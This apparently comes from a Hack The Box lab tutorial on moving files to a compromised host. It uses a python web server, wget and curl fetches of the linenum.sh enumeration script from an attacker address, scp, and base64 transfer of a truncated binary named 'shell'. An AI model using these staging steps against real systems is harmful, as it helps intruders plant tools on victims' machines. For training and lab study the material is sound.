## Transferring files with python web server Starting python web server: ```shell-session user@htb[/htb]$ cd /tmp user@htb[/htb]$ python3 -m http.server 8000 Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ... ``` Using wget: ```shell-session user@remotehost$ wget http://10.10.14.1:8000/linenum.sh ...SNIP... Saving to: 'linenum.sh' linenum.sh 100%[==============================================>] 144.86K --.-KB/s in 0.02s 2021-02-08 18:09:19 (8.16 MB/s) - 'linenum.sh' saved [14337/14337] ``` Using curl: ```shell-session user@remotehost$ curl http://10.10.14.1:8000/linenum.sh -o linenum.sh 100 144k 100 144k 0 0 176k 0 --:--:-- --:--:-- --:--:-- 176k ``` --- ## Transferring files with SCP ```shell-session user@htb[/htb]$ scp linenum.sh user@remotehost:/tmp/linenum.sh user@remotehost's password: ********* linenum.sh ``` --- ## Using Base64 Encoding file in base64: ```shell-session user@htb[/htb]$ base64 shell -w 0 f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAA... <SNIP> ...lIuy9iaW4vc2gAU0iJ51JXSInmDwU ``` Decoding file: ```shell-session user@remotehost$ echo f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAA... <SNIP> ...lIuy9iaW4vc2gAU0iJ51JXSInmDwU | base64 -d > shell ``` --- ## Validating File Transfers ```shell-session user@htb[/htb]$ md5sum shell 321de1d7e7c3735838890a72c9ae7d1d shell ```